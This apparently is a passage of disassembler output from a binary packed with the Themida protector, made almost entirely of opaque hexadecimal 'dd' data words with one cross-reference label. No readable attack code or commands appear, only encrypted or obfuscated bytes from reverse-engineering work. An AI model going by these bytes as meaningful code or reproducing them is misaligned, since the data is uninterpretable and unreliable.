		dd 479934F9h, 0AF55B336h, 5C6932C1h, 0FA57872h,	0E777878Ch
		dd 7E685E2Eh, 0EA1DC676h, 2D17B057h, 0D368F92Ch, 0C168F92Ch
		dd 0FCDC3DF5h, 1243C6B9h, 861F4E32h, 0C930611Dh, 17AEDEDFh
		dd 63584F41h, 0B8CBBFAh, 26Dh, 0BA4FE617h, 0B348E713h
		dd 0AE43DE0Ch, 0A83DD807h, 9E33CE01h, 0FD30EB03h, 0FB28CF64h
		dd 0F426CD62h, 0F525CC61h, 9200CD62h, 96A333A4h, 95677E43h
		dd 0FAD3A225h, 87D2D773h, 0FAF27A9Dh, 88697664h, 0F3B44798h
		dd 0E67F26C1h, 65D29E45h, 924395F8h, 0B061AFh, 95F8A112h
		dd 2F19EC43h, 0BCB5FFD6h, 1A7DD1Fh, 2C410000h, 23D369FCh
		dd 8BB4CBA0h, 360AA744h, 49A316C5h, 3A533D10h, 4FE483B3h
		dd 7006FE86h, 4DE817C0h, 2C731D63h, 772047A2h, 6D06AD48h
		dd 0FB68983h, 72E3D181h, 0BD439BFBh, 4DBA00EAh,	7A439BFBh
		dd 0E49067EAh, 52E42636h, 0BD030D68h, 1FB61918h, 40D305AEh
		dd 22160099h, 47h, 0C2820A86h, 0D4EF1E67h, 0C7F3825Dh
		dd 41F18728h, 4B32A391h, 0AA7D49A3h, 59F87AC0h,	882347A2h
		dd 0C05BE5EBh, 0A64DEE33h, 9C606DDAh, 69B79A43h, 0E8135B8h
		dd 3D8F03F1h, 0E9D3740Fh, 0B6864590h, 0CF971Fh,	2CFB0000h
		dd 3BC269FCh, 54D76D08h, 3020B2B0h, 0DDF6E03Eh,	72A12656h
		dd 88F36D7h, 0BCA83DD8h, 49A34825h, 5DF285B5h, 0A011FFAFh
		dd 0A49A347h, 927C230Ch, 7F52DAD4h, 0F2EA7295h,	0ADE46E5Ch
		dd 4C1F479Bh, 685606B6h, 43999CF7h, 84856F42h, 7D2BC051h
		dd 9D6EDFCDh, 0E6B94399h, 327837Dh, 0EFD9AC85h,	0E3CBBEEh
		dd 503ECC73h, 4399DCDFh, 27B6572Ah, 0E6BC5DF8h,	0FA64EA0Ah
		dd 0E20081B0h, 8C000000h, 8E35CA5Bh, 872EC362h,	8229BE59h
		dd 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch, 0E47FB158h
		dd 0DD78A84Fh, 1F0D7B48h, 4396A2AEh, 2C10E2F9h,	25D368F9h
		dd 0FB64F7Ch, 0E43784AEh, 0A74830D0h, 318CBCBDh, 0AA568EF4h
		dd 0B045E68Fh, 69FC2C3Eh, 0E7B134C2h, 8F0F4F65h, 1C4C4D37h
		dd 0A32BF489h, 532715ABh, 6A47A241h, 25580197h,	9E0BF78Ch
		dd 0E2439BB1h, 0D77E13B2h, 0E96A11A4h, 61h, 8A820A5Fh
		dd 34F506F4h, 7F404799h, 7912B94Ch, 7AAA31D8h, 6F9F46DBh
		dd 0E46531D8h, 0CB666509h, 1040EE38h, 939E075h,	1140C76Eh
		dd 0A3CF588Ah, 23C45D04h, 0D9CD6DBAh, 46E77CA7h, 8E3E349Fh
		dd 3F6A2FA0h, 0BDA77A20h, 3A6AD462h, 2F5F069Bh,	0A70F198h
		dd 0E6000000h, 0B64F7C25h, 0BD8C760Fh, 6AFB2CDBh, 790C3CC3h
		dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
		dd 0B14C7A01h, 0B857830Ah, 89506711h, 405E0h, 0E8830000h
		dd 24043304h, 33240431h, 815C2404h, 4ECh, 242C8900h, 71F568h
		dd 240C8900h, 0D4DCB68h, 7A685D06h, 8900003Ah, 4812424h
		dd 424h, 0FF685900h, 89000065h,	2C81242Ch, 0C3318924h
		dd 8418F70h, 89084181h,	0FF70C331h, 81592434h, 4C4h, 242C8B00h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FA2B66E9h, 0E402BAFFh
		dd 3729F714h, 0C16E83EEh, 0D51A7B8h, 0FFC50306h, 0B45904E0h
		dd 0F5D41118h, 0D460AC5Dh, 9DFA4712h, 439B356Eh, 6D5BE303h
		dd 0DBE3E15Ch, 7DDEE244h, 623DA201h, 1161BE32h,	74E05338h
		dd 0BE3A6851h, 0CC76072Fh, 71F61800h, 9DAB2A2Bh, 9C2D5A74h
		dd 0D326212Fh, 0CBFC006Ch, 0AAA49D49h, 93AE5E18h, 0F142D136h
		dd 5E854h, 0F2CF0000h, 0F19EC2Ah, 1480h, 0FE900h, 21080000h
		dd 3B795266h, 7742EE94h, 143C73C6h, 816658EFh, 81E988DFh
		dd 6E69C0h, 0E38A6000h,	0BE9h, 12EE6400h, 4B5C0429h, 0F0DB92C3h
		dd 6861h, 8E90000h, 8C000000h, 0CEBE5755h, 5E55CF79h, 30148BFCh
		dd 10E9h, 9B5DBF00h, 0C49C56EDh, 1F24A56Ah, 2792972Ah
		dd 56EA81F7h, 0E929EC79h, 10h, 0F6E08E8Fh, 24752FEBh, 2E63DAEFh
		dd 74422DC9h, 502BF281h, 0F28171EFh, 663B4A90h,	0EE952F8h
		dd 0F1000000h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 30048FE0h
		dd 3820Fh, 0B70F0000h, 19850FDEh, 0E8000000h, 0Dh, 0FA3E268h
		dd 0E5D74489h, 19B88E57h, 850FDBh, 5F000000h, 8B04EE83h
		dd 90FE81FEh, 0FFFFF92h, 0C85h,	0E929B700h, 13h, 0AB19A824h
		dd 0FF5FE943h, 0DFE7FFFFh, 5BD3C0BDh, 8DCD5562h, 0D545C8Dh
		dd 0EEC68106h, 8974A815h, 71AD98Dh, 6890F06h, 29000000h
		dd 713E985h, 1D85C706h,	0F4060710h, 6A000058h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 65B2C350h, 49155953h, 38F0F69h, 0F000000h, 85C7DBB7h
		dd 6073305h, 0
		dd 0B830Fh, 6E90000h, 16000000h, 1D28AAC1h, 0E9B5FFE5h
		dd 6A06070Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0BBDEC356h, 80AD1DE0h,	0F38162F8h
		dd 66E19C3h, 95FFDE8Ah,	6071859h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A6C35040h,	0D71C02Bh, 0BE716B6Eh
		dd 51E967Dh, 95FF006Ah,	6070D69h, 5EEBC08Bh, 30EB0133h
		dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h
		dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh
		dd 9433ED66h, 4B423A86h, 0CCF9BAB9h, 8A155062h,	19D1BE30h
		dd 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h, 7D6A2CFFh
		dd 96771284h, 0C549D92Dh, 8D8DF19Dh, 60D5571h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E1C35242h, 0D518B8D7h
		dd 1AD98D89h, 0F08B0607h, 10919533h, 85C70607h,	607101Dh
		dd 6A50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	22C35343h, 0F1116333h, 330585C7h, 607h,	800F0000h
		dd 6, 2C818D29h, 0B5FF0607h, 6072639h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0C4C35141h,	0F2E313Bh, 30005E6Ah
		dd 5995FF94h, 89060718h, 70F05BDh, 0FF006A06h, 70D6995h
		dd 0EBC08B06h, 0C496EC4Ch, 0E53BD8D4h, 96550573h, 0DD41733h
		dd 0B1DDE93h, 0CEB65265h, 0B834B2C1h, 7CCEC4Fh,	0FDFA98Ch
		dd 0D2FA7095h, 5009B593h, 6FA035F2h, 9C3BC1E9h,	0A76E317Bh
		dd 3EA4D530h, 5BE87E2Eh, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch
		dd 3EE853F8h, 32565DB1h, 1EEACF2h, 325655F2h, 3256ABB1h
		dd 0B42AD5B1h, 9BB8EAE8h, 325675EBh, 3256BAB1h,	32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325257BBh
		dd 325AABA3h, 3259D591h, 3256EB34h, 325677F6h, 0F27DB8F6h
		dd 32565DBAh, 0F05B0A86h, 3C5F4762h, 6293979Eh,	3256D358h
		dd 0E6710CB1h, 0A49507CCh, 53CB99E3h, 2B724138h, 60063382h
		dd 32564659h, 99AC8EB1h, 0B59074B9h, 11043705h,	4DC8AC91h
		dd 3D0F2FFDh, 0C1DD3B80h, 0BB37F6EBh, 0A737739Dh, 693CFEBDh
		dd 6A0CB42Ch, 0DA5D3022h, 0A6B1D3B0h, 32D5888Ch, 1E892388h
		dd 0AFAD2444h, 538EDCD7h, 95306A21h, 71A428E5h,	0AD681371h
		dd 891CC05Dh, 39BF262Ch, 0A5565DB1h, 1F4C335h, 0BDB83E41h
		dd 0F2D68EADh, 32503CB9h, 0B590EAB1h, 1104A805h, 32C6DB2Ch
		dd 0D5F05CB1h, 0B1649325h, 0ED286EB1h, 0DBCA5E9Dh, 3256D5BCh
		dd 0F681BCC0h, 225971Ch, 6E999418h, 7A9EDCD4h, 0DB78EE4Ch
		dd 325657B7h, 2FA26CB7h, 53CBB623h, 0AE36DBBEh,	32567F58h
		dd 4A8D50B1h, 16E1EBE0h, 5405EC3Ch, 7DD89E30h, 3256BF58h
		dd 0A81369B1h, 5497427Ah, 0C0AB2116h, 0CAF7AF2h, 78E3B12Eh
		dd 6837330Ah, 32560FE9h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h
		dd 325675B1h, 0B3BC3BEBh, 0BF5050E9h, 3EE81334h, 0E5D4DEB7h
		dd 0BF50A6E4h, 3FB4FA33h, 0E9D463B7h, 0DA5078E4h, 3256B3FFh
		dd 32562659h, 0F5D469B1h, 32505AE4h, 6056ABB1h,	3B9B5077h
		dd 5A00ECB6h, 0AEFECDE3h, 3FCF0F4Eh, 0B7DB5BB6h, 345CDE89h
		dd 0B7DF874Eh, 3451A428h, 323ED1DBh, 5A56EAA1h,	325578F1h
		dd 0E2A9BADBh, 469656EBh, 0F5D42782h, 0BB505AE4h, 3F036033h
		dd 3F166CB7h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h,	32564DB1h
		dd 3252AED9h, 0CD563DB1h, 35593223h, 0B0DF8FB7h, 345BBCAAh
		dd 0F5D3FED0h, 0F150B7E4h, 3FD49AD1h, 3250A9B6h, 0F55617B1h
		dd 35779633h, 3246D5B7h, 52958BB1h, 6791CF3Ah, 0DD5BCBCh
		dd 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h
		dd 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h,	0F137475Ah
		dd 52BADCE4h, 3256AB59h, 0D8D78FB1h, 345BB3C7h,	6449C73Ah
		dd 77DDBCBCh, 0B150D4B9h, 3F00B133h, 0FB3753B7h, 5256AF73h
		dd 3256D559h, 0D8D7B0B1h, 345B2C2Bh, 644D083Ah,	806D5BBCh
		dd 345BF8AEh, 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h
		dd 30BDACB2h, 7115639Ah, 2C7BD83Ah, 0BFDDA8B6h,	345174FCh
		dd 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h,	7FEB33B9h
		dd 0D9505A92h, 5295CF06h, 32565759h, 0D8D7F1B1h, 345B8C43h
		dd 644D503Ah, 32EF73BCh, 156BAB0h, 0B9FDAE71h, 3F00B533h
		dd 2DD4DEB7h, 5350A6E7h, 32BEB572h, 6856EAB1h, 684A9F30h
		dd 0B790BCBCh, 3451547Ch, 5F6FC6E7h, 87A983AEh,	3451A628h
		dd 426E503Ch, 0E2A9ECBBh, 323E25E3h, 5856BA31h,	0F5E4A2B1h
		dd 0CD50A3E4h, 5A0C0F61h, 32562BB1h, 80A9D5DBh,	345BBCAAh
		dd 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h, 345B0DDBh
		dd 0DA5EDE3Ah, 3256D729h, 0E5C415E4h, 6F5078E4h, 475ACF8Ah
		dd 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh
		dd 3256EA59h, 0D8D72FB1h, 345BE02Fh, 0B95E283Ah, 6401BECCh
		dd 32566059h, 4696A0B1h, 67AE5E90h, 6781784Eh, 90B73BCh
		dd 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch
		dd 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h
		dd 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h,	35D42DB1h
		dd 335078E7h, 0B956BAB1h, 0B93055C4h, 0F5EC25AFh, 0B9505AE4h
		dd 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h
		dd 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h,	329351BEh
		dd 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh
		dd 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h
		dd 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h
		dd 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h
		dd 0CD693C5h, 0B26E239Ch, 122C38Fh, 6451574Eh, 0B930ECBCh
		dd 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h
		dd 21226B30h, 0A0A980D1h, 345BBF66h, 0CE13FCECh, 0CE2B39D0h
		dd 0B93528B0h, 3551A30Bh, 0B0DD07B7h, 345BFDB6h, 6A66E988h
		dd 88DDBAC3h, 3451548Ch, 35D431E1h
		dd 0B5050E7h, 4D0E9E8Dh, 0F546BC8Ch, 325453F4h,	35BDD5B1h
		dd 33AEAF76h, 0B95675B1h, 3F037D0Bh, 3949D6B7h,	949DA6Ah
		dd 0B959226Fh, 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh
		dd 1B451A5h, 3296B471h,	0B930AEB1h, 3E2BDCAFh, 46BD5031h
		dd 0C2B555BBh, 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h
		dd 0B19125B1h, 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh
		dd 0B29DF5BEh, 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h
		dd 0CD7CDC8h, 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh
		dd 0B952B6B3h, 0BF094576h, 3F007433h, 0CD00FBB7h, 3F030E23h
		dd 4696E1B7h, 0BF9EFEBBh, 3F009903h, 6446B6B7h,	0CD03603Ah
		dd 3F038023h, 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h
		dd 0B75902D7h, 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h
		dd 549FDE09h, 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah
		dd 6B0D693Ah, 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h
		dd 6EAA9F30h, 77DDBCBCh, 0FDD4D4B9h, 5350A3E4h,	32529578h
		dd 0B1BA20E4h, 0DA362D75h, 3256EAB1h, 2FBCF4EBh, 0F550B7ECh
		dd 3256A5F4h, 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah
		dd 345BBCB6h, 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah
		dd 325656B9h, 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah
		dd 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h
		dd 355D6033h, 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah
		dd 3256AE0Dh, 55ADD6D7h, 88D2A452h, 0B256D5B1h,	0C9D61A52h
		dd 87D27AC1h, 5456BAB1h, 0D1D6433Ah, 8AAD2E49h,	0CD610C5h
		dd 0B214DFB4h, 0F22F88Fh, 463ED431h, 0B0A93589h, 345BECB6h
		dd 0B248D6D7h, 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h
		dd 0F2D71130h, 673662C5h, 6781284Eh, 0BB0B5BBCh, 0B13752F4h
		dd 3D57ABCCh, 32578334h, 3FEC5EB1h, 6250EDB6h, 6451F73Ah
		dd 0E6FBCBCh, 0B0590581h, 3256AFA0h, 136BED3Ah,	0B906ADB6h
		dd 3F00D233h, 26AD3B7h,	0C8D97AE9h, 0B956BAB1h,	3F03960Bh
		dd 0F9D42DB7h, 26505AE4h, 75DF9C38h, 0B0DD85A1h, 345BBCB6h
		dd 6A66693Ah, 0DB5EE538h, 32565D64h, 30AEEB76h,	0D95657B1h
		dd 0CA136CB6h, 3256D5B0h, 679D503Ah, 0B0D573BCh, 345BEF7Ah
		dd 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h, 3F00AC33h, 3256D7B7h
		dd 0B15301B1h, 6D2B7749h, 32AEC732h, 845946C5h,	0B2FFAFF7h
		dd 475657B1h, 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh,	0D9539D32h
		dd 0A8DDE9BAh, 345B0BB6h, 6965AA3Ah, 32565718h,	3142DE31h
		dd 37965677h, 645168B2h, 0BB1E73BCh, 75DFB2F6h,	0C500B6BDh
		dd 0C5908569h, 3796D469h, 645129B2h, 0BB1ED3BCh, 75DFE2F6h
		dd 1689EBDh, 33103071h,	1323DD19h, 0F2D568B2h, 3257ECB3h
		dd 0E95DABB1h, 0A8DCDCC5h, 345A6BA0h, 31579631h, 3A113372h
		dd 0D95A1A38h, 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h
		dd 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h
		dd 0D8D70DB1h, 345BF49Fh, 67916F3Ah, 0FB65ECBCh, 3D564A32h
		dd 32567835h, 0CD51D6B1h, 47A9A2C4h, 41BE07B9h,	4156ABB0h
		dd 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh,	330AB586h
		dd 0B059AEB1h, 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h
		dd 4DD589F4h, 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h
		dd 3253124Eh, 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h
		dd 0B9174CC4h, 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh
		dd 6DDDEEF6h, 3A094EBDh, 0B904AFC4h, 677D59E6h,	2603ADA1h
		dd 195A083Ah, 37BD286Bh, 0B9443EEBh, 6DDDEEF6h,	36095EBDh
		dd 31535132h, 3555AC3Bh, 22292DB7h, 735722B2h, 6EDF729Ah
		dd 0CDEED4B0h, 8BA9154Eh, 325675B4h, 64BF1142h,	53A9A24Eh
		dd 32466C78h, 0B1BADCE4h, 0DA365775h, 3256D5B1h, 2BBC6BEBh
		dd 0B95078D1h, 3F037D0Bh, 0B19F6EB7h, 0B659AE8Eh, 32565720h
		dd 47A9AC3Ah, 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h
		dd 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h, 3256DA59h,	0B93CA7B1h
		dd 356F16F4h, 77A916C3h, 3629394Dh, 0B15E29B1h,	4656A2CEh
		dd 8A58BCB3h, 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah
		dd 0B159CEB4h, 47504DCEh, 75DDEFA0h, 3E09DCB5h,	75DDB65Ah
		dd 3E095EB5h, 75DDF95Ah, 3E09FEB5h, 0B152E59Ah,	4DD5585Ah
		dd 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h
		dd 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h
		dd 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh
		dd 0CE92DE5Dh, 325646D1h, 0B30C57B1h, 3F36445Bh, 19FE6B7h
		dd 0CE0B636Ah, 6791CF3Ah, 0DD5BCBCh, 0B13229B1h, 3723518Eh
		dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h
		dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h
		dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah
		dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h
		dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah
		dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 345B14CBh,	6789203Ch
		dd 56EE5BBCh, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah
		dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah
		dd 345B8FDAh, 3ABD784Eh, 0E9C74F3Ch, 0E1A9ECBCh, 0F10E2CEAh
		dd 0DABA31E4h, 32565DB1h, 0FBBC2FEBh, 52505AD0h, 6789113Ch
		dd 77DDD3BCh, 0B95163B9h, 75DF79F4h, 221331B5h,	0B95A1A38h
		dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 355F1834h, 283EADB7h
		dd 0CDFE62C2h, 355B2304h, 0AD3D0B7h, 0CD50A4C1h, 0B8DB0561h
		dd 345BFDBAh, 68862AE0h, 645D683Ch, 855973BCh, 0EADDB6F1h
		dd 686752E3h, 0B0DF6DB2h, 34517774h, 5251C3D0h,	0E8h, 0EA815A00h
		dd 60D623Ah, 0C5828B52h, 0B9060720h, 41C64E6Dh,	55AE1F7h
		dd 3039h, 0FFFFFF25h, 0C582897Fh, 5A060720h
aYQrs		db 'YцQRХ',0            ; DATA XREF: Themida_:0053DFF8o
		align 4
		dd 0EA815A00h, 60D626Ah, 0BBE8C88Bh, 33FFFFFFh,	8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 587B858Dh, 0D0FF060Dh, 8DC18B66h
		dd 0D623385h, 59858906h, 8D060730h, 0D626385h, 39858906h
		dd 0B8060718h, 0
		dd 840FC00Bh, 47h, 9CD85C6h, 68560607h,	0A9C530DFh, 0D99B5FFh
		dd 858D0607h, 60A7038h,	8D50D0FFh, 71A018Dh, 46A5106h
		dd 100068h, 19B5FF00h, 0FF060723h, 19BD8BD0h, 3060723h
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 70C899Dh, 0B038B06h
		dd 5840FC0h, 8B000000h,	4438900h, 234CF6B9h, 0D08D8D00h
		dd 89060D63h, 71F7585h,	0D98D8906h, 8906071Ah, 70FCD85h
		dd 1D85C706h, 5C060710h, 8B00005Ch, 7221185h, 5AFC5606h
		dd 330585C7h, 607h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66D2A3C3h, 7554CE81h
		dd 7C5B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 225B93C3h, 0A2E0FA2Eh, 461BD8Bh
		dd 95FF0607h, 6071859h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 59C35242h, 0E10A15D0h, 0BD31C38Bh, 60711FDh
		dd 95FF006Ah, 6070D69h,	2AEBC08Bh, 0E8080B9Ah, 7DAE8E35h
		dd 5FAB9520h, 0D2B7C6C3h, 8C44B0EEh, 108220D4h,	0B19CF96Ah
		dd 2CA4533Ah, 106F1199h, 6EB63291h, 8D8D3C5Eh, 60D648Bh
		dd 0EC098FBAh, 0D98D8979h, 6A06071Ah, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6C2EC355h
		dd 0E22247D3h, 0B4D78BE5h, 1D85C79Fh, 0A4060710h, 6A00005Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 69FFC355h, 360F2AE7h, 85C76952h, 6073305h
		dd 0
		dd 2645BD89h, 0B5FF0607h, 60705D1h, 0E9DBE7BFh,	5995FF36h
		dd 6A060718h, 6995FF00h, 8B06070Dh, 0D86CEBC0h,	523D5B14h
		dd 67E247Eh, 64E3224Eh,	99957EA5h, 64315148h, 5B23C443h
		dd 0BAB11C52h, 4E2FFE81h, 5EACB2E9h, 12140152h,	28957727h
		dd 86A82B8Eh, 0EDD001F6h, 9D7628EDh, 0DD2346A4h, 19F9E168h
		dd 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 0DC06AC1Ah, 89833F7Fh
		dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h, 0E7CE8469h
		dd 0E8F4F7F9h, 5, 0F69365F2h, 235AFCF4h, 70A018Dh, 0DBC28106h
		dd 66000064h, 0BB6D58B8h, 190Ch, 5658D01h, 32FF0607h, 1B09BD8Bh
		dd 8B5E0607h, 0D2EE81FEh, 603DCFDAh, 8161F58Ah,	79CBA4C6h
		dd 0ED85334Ch, 81060719h, 0FDE84DF6h, 6EC88153h, 89632E62h
		dd 119D2932h, 81060722h, 0BE6E57EAh, 8130B058h,	0BE6E53C2h
		dd 0CE958h, 2310000h, 934B8C69h, 4526539Ch, 0EB81E972h
		dd 1, 13850Fh, 0BD890000h, 60714A9h, 22E9h, 2899B500h
		dd 0EBAED462h, 0E1850347h, 0E906072Ah, 0FFFFFF82h, 296DD7FCh
		dd 0BD6AECEDh, 7793D43Dh, 0EBB70F91h, 0E9DA1708h, 6Eh
		dd 0B3EE900h, 77680000h, 0E9060D67h, 0FFFADBE0h, 0D68BD68h
		dd 0DBD6E906h, 8D68FFFAh, 0E9060D6Ah, 0FFFADBCCh, 0D6B7568h
		dd 0DBC2E906h, 0C868FFFAh, 0E9060D6Ch, 0FFFADBB8h, 0D6E6868h
		dd 0DBAEE906h, 6768FFFAh, 0E9060D6Fh, 0FFFADBA4h, 0A7794841h
		dd 4416E9E0h, 0E2B4857Dh, 7A4C291Bh, 16E8BDB3h,	998F0344h
		dd 382BF2C4h, 0D0C48B5Dh, 695E25F7h, 6AA7C092h,	24673380h
		dd 0D6F33480h, 0F56055F8h, 244FBE0Bh, 0D8D6B780h, 1F3F467h
		dd 3302D924h, 5146FA10h, 655A2F7Ah, 1A11BC8Eh, 8553FFCh
		dd 18631CDh, 0CCC91620h, 0E9CA8631h, 98903D1Ah,	856FA4C7h
		dd 8C38E801h, 0CDA49978h, 50A1B3FEh, 25802AB2h,	6A4364BCh
		dd 4DF16A49h, 8AD5AAA0h, 51F090B3h, 28000000h, 428F7936h
		dd 438631CDh, 35363F62h, 0E895522Fh, 0FAD11CF3h, 0DE5975D7h
		dd 4F308C38h, 0F411F04h, 29226A1Bh, 3F160BD8h, 98FA1DF4h
		dd 802A4147h, 3A53B31Ch, 0F169DB61h, 10896644h,	976CE9ECh
		dd 0EED474h, 0FED0000h,	3B76DD0Fh, 90A6C9DDh, 2F7A5146h
		dd 448F645Ah, 0C6A37A6Fh, 14C2519h, 0CCE5321Ch,	0FDDE8631h
		dd 83680B2Eh, 0EA0DDED6h, 27F9D0C5h, 31D1A023h,	0C69D9286h
		dd 0D23F1DF4h, 0E9A25530h, 0F3E80D30h, 0C8613F1Ch, 0DC4F236Ch
		dd 5E17BADDh, 0BD7A57CDh, 3C8AB9DFh, 1437B3A9h,	3891DEB2h
		dd 0F9D6B78Ch, 7D57221Bh, 0E5086F5Ah, 91B10BBh,	0E4B1422Ch
		dd 0EE9B8633h, 1D823F8h, 0EBE1C0DEh, 2E241816h,	3DE8AF83h
		dd 0EEE4916Eh, 0C3704719h, 0AED3F6CFh, 0F52CE3B8h, 0F9DFD9Ch
		dd 8E13882h, 0D6CF0000h, 776E3507h, 130BD2A4h, 0B7A97042h
